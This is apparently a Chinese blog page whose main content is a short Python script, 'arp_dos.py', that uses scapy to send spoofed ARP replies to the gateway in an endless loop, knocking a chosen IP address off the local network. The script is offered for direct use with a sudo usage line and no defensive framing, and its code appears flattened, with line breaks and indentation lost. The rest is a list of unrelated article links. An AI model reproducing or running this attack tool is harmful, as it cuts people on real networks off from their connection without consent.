注:使用这个脚本需要安装scapy 包

最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

 #coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103 from scapy.all import ARP,send
import os,re,sys def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1] def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2] def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp) def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100") def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()

最新文章

  1. NOIp2016 Day1&Day2 解题报告
  2. 30.Nginx集群搭建笔记
  3. jquery 获取form下的所有元素
  4. BZOJ-1880 Elaxia的路线 SPFA+枚举
  5. mysql同步
  6. What is Entity Framework?
  7. 如何更好辨认House of hello恶搞包的真假
  8. 操作hadoop的经验积累
  9. vertor容器
  10. CentOS 安装开发环境 并安装coTurn
  11. Jmeter中使用SSH插件,连接远程linux机器执行命令
  12. Ubuntu系统的nginx启动
  13. shell 学习笔记二
  14. linux 中的 open() read() write() close() 函数
  15. Java通过复选框控件数组实现添加多个复选框控件
  16. spring-cloud: eureka之:ribbon负载均衡自定义配置(二)
  17. update 操作用法
  18. c#中在函数后紧跟=>,几个意思,差点懵逼到没有朋友!
  19. hdu1286 找新朋友
  20. vue - .gitignore

热门文章

  1. 使用spring的@Async异步执行方法
  2. xml DTD中的ELEMENT和ATTLIST
  3. Java多线程中run(), start(), join(), wait(), yield(), sleep()的使用
  4. 微信小程序-通知滚动小提示
  5. WiFi共享精灵与路由器
  6. (二)Linux Shell编程——运算符、注释
  7. Foundations of Machine Learning: The PAC Learning Framework(2)
  8. Oracle自定义函数和存储过程示例,自定义函数与存储过程区别
  9. spring-integration-kafka
  10. JMeter学习笔记--JMeter前置处理器